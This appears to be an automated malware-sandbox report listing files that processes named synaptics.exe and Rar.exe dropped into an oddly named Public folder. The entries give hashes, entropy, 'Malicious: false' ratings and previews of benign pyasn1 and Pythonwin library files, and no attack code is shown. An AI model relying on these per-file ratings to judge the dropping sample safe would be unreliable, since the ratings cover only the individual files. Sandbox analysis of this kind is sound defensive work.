SSDEEP:	1536:ZlVBPPmHi1lw8zdxtKNaRdsSxRQxZvzEIAYWTJdqH/uN6xjjQT/8kKXDlCydymtD:ZPw8pxtKNaRdsSxRQxZvzEIAYWTJdqH1
MD5:	EFBC94614DFE3B7BE134E803E3D8A449
SHA1:	ECFCFABC416BB9B3427FF75A584FDE5FDD418287
SHA-256:	5BC42269EAC069C22C4AC5280A41074FCAA546BDEE1677A426AA02497B602206
SHA-512:	60F8D7640148126C3062AF068C600096E1D895EB46A8A4AD317D7D009BC2BC8338E3AA0FFF333195E41B4E87891E3B04A062A56F5F23ED0FFAEDA7D0ED29C31B
Malicious:	false
Reputation:	low
Preview:	o.......T..f.........................@...s....d.d.l.Z.d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...e.j.Z.e...Z.g.d...Z.G.d.d...d.e.j...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e.j...Z.G.d.d...d.e.j...Z.G.d.d...d.e...Z.G.d.d...d.e.j...Z.G.d.d...d.e.j...Z.G.d.d...d.e.j...Z.G.d.d...d.e...Z.G.d d!..d!e.j...Z.G.d"d#..d#e...Z G.d$d%..d%e...Z!G.d&d'..d'e.j...Z"G.d(d)..d)e"..Z#G.d*d+..d+e"..Z$G.d,d-..d-e$..Z%G.d.d/..d/e...Z&d.S.)0.....N)...error)...eoo)...integer)...base)...constraint)...namedtype)...namedval)...tag)...tagmap)...Integer..Boolean..BitString..OctetString..Null..ObjectIdentifier..Real..Enumerated..SequenceOfAndSetOfBase..SequenceOf..SetOf..SequenceAndSetBase..Sequence..Set..Choice..Any..NoValue..noValuec....................@...s....e.Z.d.Z.d.Z.e...e...e.j.e.j.d.....Z.e.....Z.e.....Z.e.j.....Z.e.f.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z d.d...Z!d.d...Z"

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\pyasn1\type\pycache\univ.cpython-310.pyc.75533632

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	93765
Entropy (8bit):	5.299547981675023
Encrypted:	false
SSDEEP:	1536:ZlVBPPmHi1lw8zdxtKNaRdsSxRQxZvzEIAYWTJdqH/uN6xjjQT/8kKXDlCydymtD:ZPw8pxtKNaRdsSxRQxZvzEIAYWTJdqH1
MD5:	EFBC94614DFE3B7BE134E803E3D8A449
SHA1:	ECFCFABC416BB9B3427FF75A584FDE5FDD418287
SHA-256:	5BC42269EAC069C22C4AC5280A41074FCAA546BDEE1677A426AA02497B602206
SHA-512:	60F8D7640148126C3062AF068C600096E1D895EB46A8A4AD317D7D009BC2BC8338E3AA0FFF333195E41B4E87891E3B04A062A56F5F23ED0FFAEDA7D0ED29C31B
Malicious:	false
Reputation:	low
Preview:	o.......T..f.........................@...s....d.d.l.Z.d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...e.j.Z.e...Z.g.d...Z.G.d.d...d.e.j...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e.j...Z.G.d.d...d.e.j...Z.G.d.d...d.e...Z.G.d.d...d.e.j...Z.G.d.d...d.e.j...Z.G.d.d...d.e.j...Z.G.d.d...d.e...Z.G.d d!..d!e.j...Z.G.d"d#..d#e...Z G.d$d%..d%e...Z!G.d&d'..d'e.j...Z"G.d(d)..d)e"..Z#G.d*d+..d+e"..Z$G.d,d-..d-e$..Z%G.d.d/..d/e...Z&d.S.)0.....N)...error)...eoo)...integer)...base)...constraint)...namedtype)...namedval)...tag)...tagmap)...Integer..Boolean..BitString..OctetString..Null..ObjectIdentifier..Real..Enumerated..SequenceOfAndSetOfBase..SequenceOf..SetOf..SequenceAndSetBase..Sequence..Set..Choice..Any..NoValue..noValuec....................@...s....e.Z.d.Z.d.Z.e...e...e.j.e.j.d.....Z.e.....Z.e.....Z.e.j.....Z.e.f.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z d.d...Z!d.d...Z"

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\pyasn1\type\pycache\useful.cpython-310.pyc.70592776

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	4395
Entropy (8bit):	5.429031595596657
Encrypted:	false
SSDEEP:	96:SHaqgsjPefkBzr3Acd0XPSWhXgxTdeqTALFI8WoTFfI7YHpiZA:VTKIklA00/Sc6nTgFIDoJg7YHJ
MD5:	1B2C7E937CC630E66E7859AA7DDB5372
SHA1:	B66619813F1956029CF415A9F203054024FFEA16
SHA-256:	AC519C63B171A0554E7FB2A5FCFE72ACE87C910A474349F6EF7D0F2F7184352A
SHA-512:	F87483A9D6D4135F69BD976595F79502BD1BB45BFF47A8BF073EE094308E2C0C470CE9D2A251A3380B54CC5BD936136203F3D4AA8E9CB60822151F9C5CEE2864
Malicious:	false
Reputation:	low
Preview:	o.......T..f.........................@...s....d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...g.d...Z.e.j.Z.e.j.Z.G.d.d...d.e.j...Z.G.d.d...d.e...Z.G.d.d...d.e.j.e...Z.G.d.d...d.e.j.e...Z.d.S.)......N)...error)...char)...tag)...univ)...ObjectDescriptor..GeneralizedTime..UTCTimec....................@...s:...e.Z.d.Z.e.j.j.Z.e.j.j...e...e.j.e.j.d.....Z.e.j.....Z.d.S.).r.........N)...__name__..__module__..__qualname__r......GraphicString..__doc__..tagSet..tagImplicitlyr......Tag..tagClassUniversal..tagFormatSimple..getTypeId..typeId..r....r.....DC:\Users\Public\QExvbmVOb25l\lib\site-packages\pyasn1\type\useful.pyr........s................r....c....................@...sL...e.Z.d.Z.d.Z.d.Z.d.Z.d.Z.G.d.d...d.e.j...Z.e...Z.e.d.d.....Z.e.d.d.....Z.d.S.)...TimeMixIn.....Fc....................@...s2...e.Z.d.Z.d.Z.d.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.S.).z.TimeMixIn.FixedOffsetz&Fixed offset in minutes east from UTC.r......UTCc....................C...s....t.j.\|.d...\|._.\|.\|._.d.S.).N)...minu

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\pythonwin\pywin\IDLE.cfg

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	742
Entropy (8bit):	4.500440373386235
Encrypted:	false
SSDEEP:	12:1Si9ycCnLZTIDCoc9GrGFZA1ZSfuQ9UewZdfxR2sKVLm7BeXjZrAwEkTBAL:1SifyN0DBc9GSs+9uxxQsKVLmyjZLpTq
MD5:	FEA3E78BE03619E62D9D0596B3D30415
SHA1:	643A8486EFCA63316325B666A8F2660D9BF15DBD
SHA-256:	09CD334BBD8A9723360913DB63E1DD344BB5FAEACDA270B57529C0DA3B8AF73E
SHA-512:	3DA8A6CBA89649A561274091387F8D2CB574BB69A4184B3E8F2E16513BCD7FC7B40D8C5212FE67B22753A0604670C06A82CF0A62024D21DE6AA4A272D0E05D87
Malicious:	false
Reputation:	low
Preview:	[General].# We base this configuration on the default config..# You can list "Based On" as many times as you like.Based On = default..[Keys].# Only list keys different to default..# Note you may wish to rebind some of the default.# Pythonwin keys to "Beep" or "DoNothing"..Alt+L = LocateSelectedFile.Ctrl+Q = AppExit..# Other non-default Pythonwin keys.Alt+A = EditSelectAll.Alt+M = LocateModule..# Movement.Ctrl+D = GotoEndOfFile..# Tabs and other indent features.Alt+T = <<toggle-tabs>>.Ctrl+[ = <<indent-region>>.Ctrl+] = <<dedent-region>>..[Keys:Interactive].Alt+P = <<history-previous>>.Alt+N = <<history-next>>..

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\pythonwin\pywin\init.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.555377634843288
Encrypted:	false
SSDEEP:	12:xIu9TAutsMFMS21FqBjyQtusvCVi80njeVK6lSxi1Hs5:xIu9TCMFMd1FqBjRvhn+Kw25
MD5:	F6687E6FA019ECA4A788FA46165D6FC0
SHA1:	3FB1D7496A1F63080109C7D0418ECE4D0B176309
SHA-256:	63E7D31AE2AF86C7006B95D65391F7FE055038E31C0E2D99A34DE5495D2D825A
SHA-512:	053CBCE6696D63E5152A5B40E6B1E632A82FF16247805B88A52E61D4B4AA30992BA50FC50E24EF29A9AA790BD3108FD30FFFC9083708DF03630E845D8874978F
Malicious:	false
Reputation:	low
Preview:	# is_platform_unicode is an old variable that was never correctly used and.# is no longer referenced in pywin32. It is staying for a few releases incase.# others are looking at it, but it will go away soon!.is_platform_unicode = 0..# Ditto default_platform_encoding - not referenced and will die..default_platform_encoding = "mbcs"..# This one is real and used - but in practice can't be changed..default_scintilla_encoding = "utf-8" # Scintilla _only_ supports this ATM.

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\pythonwin\pywin\framework\cmdline.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	1491
Entropy (8bit):	4.129546707116888
Encrypted:	false
SSDEEP:	24:DNgb2k92Xxx4ducdIF/rkjxtdkhHQ708TKQVYt3oIc5QzEn2GNdyw6h9i:Bgb2k8XxGducdYI1tdgQg8ZVYZJ/n2km
MD5:	42E00F8E2EF55BED99382BFF1B75471A
SHA1:	39876B183894E49930AAE96A9F8588520591EACA
SHA-256:	0D18159CFA599E233E188FFF4C5FC907ED47B372FFCAC1628398F0E88D9E735C
SHA-512:	31BF1E78C025BF5E4BAD323464CFB0937DD6F09772D6BE3D1C1275DB210956A38AB15F29534DFC7C89DDAA0E9A7F13F66DB1D3FC1B1985D0993074B3F7CA90EE
Malicious:	false
Reputation:	low
Preview:	# cmdline - command line utilities..import string.import sys..import win32ui...def ParseArgs(str):. import string.. ret = []. pos = 0. length = len(str). while pos < length:. try:. while str[pos] in string.whitespace:. pos = pos + 1. except IndexError:. break. if pos >= length:. break. if str[pos] == '"':. pos = pos + 1. try:. endPos = str.index('"', pos) - 1. nextPos = endPos + 2. except ValueError:. endPos = length. nextPos = endPos + 1. else:. endPos = pos. while endPos < length and not str[endPos] in string.whitespace:. endPos = endPos + 1. nextPos = endPos + 1. ret.append(str[pos : endPos + 1].strip()). pos = nextPos. return ret...def FixArgFileName(fileName):. """Convert a filename on the commandline to something useful..

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\pythonwin\pywin\framework\dbgcommands.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	6831
Entropy (8bit):	4.60734272249847
Encrypted:	false
SSDEEP:	96:NUi+xH5OihJF9QLvIrG5Pl6BFZvg6XK6vd8mLlfRjTlOkZDLy08N8vFph8BZ/Ra0:NUi6vQmMP0tZ18uVlHH8WdL8b/RNXB
MD5:	C3DE464951525D4E0BB7A2432D996229
SHA1:	92F4F10AF324E3ECBEEC45BFEE83DF8A4BAB1C45
SHA-256:	8E92C21D7F8F48EB483FC04F4DA19E1980E88F5E5921CD91515C1978196B01A0
SHA-512:	8858A1B71D92F7A9BBC0389C8DF0A8E195513F24EBC400A9EB6A844172F1D5F34D0A0757ABC012C7F657777AD16A0A0360A53C49127009D90D0AFCAA0ED34D0B
Malicious:	false
Reputation:	low
Preview:	# Command Handlers for the debugger...# Not in the debugger package, as I always want these interfaces to be.# available, even if the debugger has not yet been (or can not be).# imported.import warnings..import win32ui.from pywin.scintilla.control import CScintillaEditInterface..from . import scriptutils..IdToBarNames = {. win32ui.IDC_DBG_STACK: ("Stack", 0),. win32ui.IDC_DBG_BREAKPOINTS: ("Breakpoints", 0),. win32ui.IDC_DBG_WATCH: ("Watch", 1),.}...class DebuggerCommandHandler:. def HookCommands(self):. commands = (. (self.OnStep, None, win32ui.IDC_DBG_STEP),. (self.OnStepOut, self.OnUpdateOnlyBreak, win32ui.IDC_DBG_STEPOUT),. (self.OnStepOver, None, win32ui.IDC_DBG_STEPOVER),. (self.OnGo, None, win32ui.IDC_DBG_GO),. (self.OnClose, self.OnUpdateClose, win32ui.IDC_DBG_CLOSE),. (self.OnAdd, self.OnUpdateAddBreakpoints, win32ui.IDC_DBG_ADD),. (self.OnClearAll, self.OnUpdateClearAllBreakpoints,

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\pythonwin\pywin\framework\dlgappcore.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	2044
Entropy (8bit):	4.75480923449918
Encrypted:	false
SSDEEP:	48:KU3pVVNXq5m1V+cm8mI3NqmtXWVh3mGvfhyMHnZZTOFwmLF:KU3pVVBq5+4cm8meqmtXjYfnyFwiF
MD5:	6A8C0BE282B0AEF1D76249DEABA9E980
SHA1:	864871CD5148A5D9BACAD2B45A3B0029AE4B3C66
SHA-256:	EE80DB72D088EF8E32B63E5284DEE6ABD7C142CDD2C6872B0B517A58672B6D7F
SHA-512:	1BFA636D9875F25A74A08396D5438E1448124DD6AFC49C120A76947836784E36BFA52B11FDDE515CCF0143158DB53C06C8D571FF8077153D21819981DFBF2890
Malicious:	false
Reputation:	low
Preview:	# dlgappcore..#.# base classes for dialog based apps....import win32api.import win32con.import win32ui.from pywin.mfc import dialog..from . import app..error = "Dialog Application Error"...class AppDialog(dialog.Dialog):. "The dialog box for the application".. def __init__(self, id, dll=None):. self.iconId = win32ui.IDR_MAINFRAME. dialog.Dialog.__init__(self, id, dll).. def OnInitDialog(self):. return dialog.Dialog.OnInitDialog(self).. # Provide support for a dlg app using an icon. def OnPaint(self):. if not self.IsIconic():. return self._obj_.OnPaint(). self.DefWindowProc(win32con.WM_ICONERASEBKGND, dc.GetHandleOutput(), 0). left, top, right, bottom = self.GetClientRect(). left = (right - win32api.GetSystemMetrics(win32con.SM_CXICON)) >> 1. top = (bottom - win32api.GetSystemMetrics(win32con.SM_CYICON)) >> 1. hIcon = win32ui.GetApp().LoadIcon(self.iconId). self.GetDC().DrawIcon((left, top),

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\pythonwin\pywin\framework\editor\ModuleBrowser.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	7057
Entropy (8bit):	4.439610719878647
Encrypted:	false
SSDEEP:	96:kF/En0TXzbOA4R/mmLC1Wt1iC1ZqwVZv2xF6cOXJvVS6WgRUScswk2:klEcXzbitmZw/KF6VjS6WRh
MD5:	454C66BD909952ADDBB5A65C57809517
SHA1:	AB58FD5D10B1BDDDF0E7B9F2FE1FF48A054C8771
SHA-256:	D04E3A0D0132A7E26D7AAF3314934ADBF2F9F56E9E29E25D201B5D302F658266
SHA-512:	E291E4C6D94A6959819F02F214A5FBF503BD39E4C1090A432AAD1B2EC865D2BD51633448E03C8421379023E8DF1BD9E16D4257135713AA2B139EE642AF94F35B
Malicious:	false
Reputation:	low
Preview:	# ModuleBrowser.py - A view that provides a module browser for an editor document..import pyclbr..import afxres.import commctrl.import pywin.framework.scriptutils.import pywin.mfc.docview.import win32api.import win32con.import win32ui.from pywin.tools import browser, hierlist...class HierListCLBRModule(hierlist.HierListItem):. def __init__(self, modName, clbrdata):. self.modName = modName. self.clbrdata = clbrdata.. def GetText(self):. return self.modName.. def GetSubList(self):. ret = []. for item in self.clbrdata.values():. if (. item.__class__ != pyclbr.Class. ): # ie, it is a pyclbr Function instance (only introduced post 1.5.2). ret.append(HierListCLBRFunction(item)). else:. ret.append(HierListCLBRClass(item)). ret.sort(). return ret.. def IsExpandable(self):. return 1...class HierListCLBRItem(hierlist.HierListItem):. def __init__(se

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\pythonwin\pywin\framework\editor\init.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script text executable Python script, ASCII text executable
Category:	dropped
Size (bytes):	2951
Entropy (8bit):	4.942933313190723
Encrypted:	false
SSDEEP:	48:qBPlAgz+5ZK7c0v/7smwUxn6zDgxFEiJopf3ZAnKqMc:qAgzJ6UNDxO1pf3Z+f
MD5:	AA66EB26B463B110988121965DBCE948
SHA1:	2715FACC6E33390A8AB1D73AC10F42492419EFA7
SHA-256:	64390FDBF80467AB2C7A4E8BC3D3B2D80D6645FA215028D84EB9D518F09BDDEC
SHA-512:	6DE4FD8B77F86CE342D0EB335765BC6D89EF5DA8C335CD2A4065720D80B2E28910A9A04FF57FA26E4AADEF88BE6EB7327611E66394CEDFDB055E7D68AE3041A5
Malicious:	false
Reputation:	low
Preview:	# __init__ for the Pythonwin editor package..#.# We used to support optional editors - eg, color or non-color..#.# This really isnt necessary with Scintilla, and scintilla.# is getting so deeply embedded that it was too much work...import sys..import win32con.import win32ui..defaultCharacterFormat = (-402653169, 0, 200, 0, 0, 0, 49, "Courier New")..##def GetDefaultEditorModuleName():.##.import pywin.##.# If someone has set pywin.editormodulename, then this is what we use.##.try:.##..prefModule = pywin.editormodulename.##.except AttributeError:.##..prefModule = win32ui.GetProfileVal("Editor","Module", "").##.return prefModule.##.##def WriteDefaultEditorModule(module):.##.try:.##..module = module.__name__.##.except:.##..pass.##.win32ui.WriteProfileVal("Editor", "Module", module)...def LoadDefaultEditor():. pass...##.prefModule = GetDefaultEditorModuleName().##.restorePrefModule = None.##.mod = None.##.if prefModule:.##..try:.##...mod = __import__(prefModule).##..except 'xx':.##...msg

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\pythonwin\pywin\framework\editor\color\coloreditor.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	25627
Entropy (8bit):	4.755414140494236
Encrypted:	false
SSDEEP:	192:uze5N0VgInPYbtGLTtN3c3qUJF48Wi9FAWsCI0C4USCPuCbiPdeLDmPk8eLbxr8i:3PcP9qWiExI0Kk88bxrmbQ5gLM
MD5:	86D17F783F0F40790F86204C54AD2A71
SHA1:	CCBD0F896C3C68DF0E072E319F61BA1AB853054C
SHA-256:	FDE25DB1142ACF4D218A768A811A0CD4D0B52ECC3A1613E914F0D97E70A2554B
SHA-512:	AFC3E2C8E114B2D999DC35ECD06FBE37A368C6AC0D1E0717A5A7BFA6CA591269770C2184BF170392178C7268F32A038A07DA0408201FC7C7665132E3E06B0711
Malicious:	false
Reputation:	low
Preview:	# Color Editor originally by Neil Hodgson, but restructured by mh to integrate.# even tighter into Pythonwin...import pywin.scintilla.keycodes.import win32api.import win32con.import win32ui.from pywin.framework.editor import (. GetEditorFontOption,. GetEditorOption,. SetEditorFontOption,. SetEditorOption,. defaultCharacterFormat,.).from pywin.scintilla import bindings..# from pywin.framework.editor import EditorPropertyPage..MSG_CHECK_EXTERNAL_FILE = (. win32con.WM_USER + 1999.) ## WARNING: Duplicated in document.py and editor.py..# Define a few common markers.MARKER_BOOKMARK = 0.MARKER_BREAKPOINT = 1.MARKER_CURRENT = 2..import pywin.scintilla.view.from pywin.debugger import dbgcon.from pywin.framework.editor.document import EditorDocumentBase.from pywin.scintilla import scintillacon # For the marker definitions.from pywin.scintilla.document import CScintillaDocument...class SyntEditDocument(EditorDocumentBase):. "A SyntEdit document.".. def OnDebuggerStateCha

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\pythonwin\pywin\framework\editor\configui.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	11603
Entropy (8bit):	4.979739602460823
Encrypted:	false
SSDEEP:	192:jAwdGW/vgpdvJPbgwLJVwQ+aIRuUzCBLun:0ePg7LPhUV
MD5:	DAB3D0F83BCAACA8A0CA6A9C5FAAC11F
SHA1:	F4B5CEDC785B353D1666DFBA9C7AA4612694E478
SHA-256:	B43CF949918F7219CE1B58E53E416027E9F62BF1F480C69B1C65DC2C0DEB395F
SHA-512:	84BC325B67659409FF5485DBEBA99212CCF26CBE1C6308A51BB3B04165845D54B276058720236E6DD4DE93F1012AEE60AF49DE760173DD6C98965B3A52F9081D
Malicious:	false
Reputation:	low
Preview:	import pywin.scintilla.config.import win32api.import win32con.import win32ui.from pywin.framework.editor import (. DeleteEditorOption,. GetEditorFontOption,. GetEditorOption,. SetEditorFontOption,. SetEditorOption,. defaultCharacterFormat,. editorTemplate,.).from pywin.mfc import dialog..from . import document..# The standard 16 color VGA palette should always be possible.paletteVGA = (. ("Black", 0, 0, 0),. ("Navy", 0, 0, 128),. ("Green", 0, 128, 0),. ("Cyan", 0, 128, 128),. ("Maroon", 128, 0, 0),. ("Purple", 128, 0, 128),. ("Olive", 128, 128, 0),. ("Gray", 128, 128, 128),. ("Silver", 192, 192, 192),. ("Blue", 0, 0, 255),. ("Lime", 0, 255, 0),. ("Aqua", 0, 255, 255),. ("Red", 255, 0, 0),. ("Fuchsia", 255, 0, 255),. ("Yellow", 255, 255, 0),. ("White", 255, 255, 255),.)...######################################################.#.# Property Page for editor options.#.class EditorPropertyPage(dialog.PropertyPage):. def

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\pythonwin\pywin\framework\editor\document.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	14762
Entropy (8bit):	4.505299678067443
Encrypted:	false
SSDEEP:	192:nqyDuI7alox51NGX/BZU0UV8w6a6tvte4H1SAmpo+QfnoPij:nqSelomnzUV8w6FGAoo+wnoKj
MD5:	E6508DD4684EA16A9987E983E189549D
SHA1:	20F8B1427713CEA8DA2FC25B2A76F5CDDC4EEBBF
SHA-256:	6348B90AA016AF071855E7C512E9A631AB0659F91BE3A2D737D6C54B5ABAC680
SHA-512:	EDE0B182E451EB6FC96466A4B4DB1EF12853C207662F2CB6765588AFE3BCE0E5B19FAE9D3E708AA7BD30EC329F46253D12943E55ADF948BA59193DD88EA467EC
Malicious:	false
Reputation:	low
Preview:	# We no longer support the old, non-colour editor!..import os.import shutil.import traceback..import win32api.import win32con.import win32ui.from pywin.framework.editor import GetEditorOption.from pywin.mfc import docview, object..BAK_NONE = 0.BAK_DOT_BAK = 1.BAK_DOT_BAK_TEMP_DIR = 2.BAK_DOT_BAK_BAK_DIR = 3..MSG_CHECK_EXTERNAL_FILE = (. win32con.WM_USER + 1999.) ## WARNING: Duplicated in editor.py and coloreditor.py..import pywin.scintilla.document..ParentEditorDocument = pywin.scintilla.document.CScintillaDocument...class EditorDocumentBase(ParentEditorDocument):. def __init__(self, template):. self.bAutoReload = GetEditorOption("Auto Reload", 1). self.bDeclinedReload = 0 # Has the user declined to reload.. self.fileStat = None. self.bReportedFileNotFound = 0.. # what sort of bak file should I create.. # default to write to %temp%/bak/filename.ext. self.bakFileType = GetEditorOption("Backup Type", BAK_DOT_BAK_BAK_DIR).. s

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\pythonwin\pywin\framework\editor\editor.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	18241
Entropy (8bit):	4.679743271147803
Encrypted:	false
SSDEEP:	384:GxM2a7TANZA/jdj7vql7INAU4m27dZ10Ny6pUcovM:r20/jdjk0F4nLc6M
MD5:	E90815BE95E40481C0662A2B431B3B70
SHA1:	9B282536957675F8983DFA15B5C4A8826BA990F5
SHA-256:	916A3ACBC2EB68D868EB759A8F84FA7FAD05FB027F0CB988C8449D77A42B6F15
SHA-512:	50A45101CE6052A210573BD7FE2318FCFDE8B131519684E5F8062F892DE30E38D9B283A222287D645F4F6D667A7C05F81AEB2D5523E0FF07902A9C6E7D3C1C88
Malicious:	false
Reputation:	low
Preview:	#####################################################################.#.# editor.py.#.# A general purpose text editor, built on top of the win32ui edit.# type, which is built on an MFC CEditView.#.#.# We now support reloading of externally modified documented.# (eg, presumably by some other process, such as source control or.# another editor..# We also suport auto-loading of externally modified files..# - if the current document has not been modified in this.# editor, but has been modified on disk, then the file.# can be automatically reloaded..#.# Note that it will _always_ prompt you if the file in the editor has been modified....import re..import regex.import win32api.import win32con.import win32ui.from pywin.framework.editor import (. GetEditorFontOption,. GetEditorOption,. SetEditorFontOption,. SetEditorOption,. defaultCharacterFormat,.).from pywin.mfc import afxres, dialog, docview..patImport = regex.symcomp("import $<name>.*$").patIndent = regex.compile("^\\([ \

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\pythonwin\pywin\framework\editor\frame.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	3148
Entropy (8bit):	4.627065154645439
Encrypted:	false
SSDEEP:	48:ttRrHY/x7hqAmfVqVm9Je4ihNnfSns4Kwsh+aNe5SwxVX:1DY3kk5tnfWs4f3z
MD5:	A034E2B9E4870B7FADA5486BA9711DDE
SHA1:	B1B7A761FB80D86965A9E0F2592995369D316646
SHA-256:	961BC3585606E76DDA52639617BF5ABC83B7AF4A5C6829C0149E8DD156DD614A
SHA-512:	FA67A42CAAA4B1C2F8D9AE8C44467A02686959C08E4A4BD7E0E5B3F10E8343F507D0BB4C48F4CF90006CDD61E54D0D172FA3270CED828F9069EA51CF3DCB05B0
Malicious:	false
Reputation:	low
Preview:	# frame.py - The MDI frame window for an editor..import pywin.framework.window.import win32con.import win32ui..from . import ModuleBrowser...class EditorFrame(pywin.framework.window.MDIChildWnd):. def OnCreateClient(self, cp, context):. # Create the default view as specified by the template (ie, the editor view). view = context.template.MakeView(context.doc). # Create the browser view.. browserView = ModuleBrowser.BrowserView(context.doc). view2 = context.template.MakeView(context.doc).. splitter = win32ui.CreateSplitter(). style = win32con.WS_CHILD \| win32con.WS_VISIBLE. splitter.CreateStatic(self, 1, 2, style, win32ui.AFX_IDW_PANE_FIRST). sub_splitter = self.sub_splitter = win32ui.CreateSplitter(). sub_splitter.CreateStatic(splitter, 2, 1, style, win32ui.AFX_IDW_PANE_FIRST + 1).. # Note we must add the default view first, so that doc.GetFirstView() returns the editor view.. sub_splitter.CreateView(

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\pythonwin\pywin\framework\editor\template.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	2060
Entropy (8bit):	4.687667955810207
Encrypted:	false
SSDEEP:	48:iLW8jY3Qq49QDK4FZ+l094wHH72NGQBarLSB:iLWHQkKflC4wHb2NjaPSB
MD5:	A98ABD4CDBD03193D44E5F1378AB0565
SHA1:	22B45559E08CABBF13B6145B3D7CE59B5273249E
SHA-256:	BDBBE1B47268C858B5DB33129225966062B1ADBFA7678712A4211BF8CDD7DDF9
SHA-512:	366F6B8138845A620FE342E3535980C8F44A871CD9A5B0DC86F4D828F332D3DA09A3D5215DECEA26D932F31ADF725802A33548134E8CD9FC53E4CAF6AF1AE19E
Malicious:	false
Reputation:	low
Preview:	import os..import pywin.framework.window.import win32api.import win32ui.from pywin.mfc import docview..from . import frame..ParentEditorTemplate = docview.DocTemplate...class EditorTemplateBase(ParentEditorTemplate):. def __init__(. self, res=win32ui.IDR_TEXTTYPE, makeDoc=None, makeFrame=None, makeView=None. ):. if makeFrame is None:. makeFrame = frame.EditorFrame. ParentEditorTemplate.__init__(self, res, makeDoc, makeFrame, makeView).. def _CreateDocTemplate(self, resourceId):. assert 0, "You must override this".. def CreateWin32uiDocument(self):. assert 0, "You must override this".. def GetFileExtensions(self):. return ".txt", ".py".. def MatchDocType(self, fileName, fileType):. doc = self.FindOpenDocument(fileName). if doc:. return doc. ext = os.path.splitext(fileName)[1].lower(). if ext in self.GetFileExtensions():. return win32ui.CDocTemplate_Confidence_yesAttem

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\pythonwin\pywin\framework\editor\vss.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	3398
Entropy (8bit):	4.6330455844108895
Encrypted:	false
SSDEEP:	96:ZLZA4QCHAr0bt4uG60UNmgr3E+ZezbPYcKPTGDLftwj8FtC:BZA4QL8t4nwxENQaC
MD5:	F5344413C1F70415897EEC86B0311BF0
SHA1:	D5A0B30A5D65EB96886B24259E81439FF235A0B0
SHA-256:	55FC7A2853787CFCA41A8FB4C8DA3F961844C0E56585BB82DD4DC7F8C9AE425F
SHA-512:	88891CE2D5D12B55ACA5F78BFB69D364733F8FFCDFA7CC17B34A806102431BDD2E1CC2A4B3DAA6D5628112C91A2A4B07CEED8DEEF46F88C621E8EAA7FE38E43F
Malicious:	false
Reputation:	low
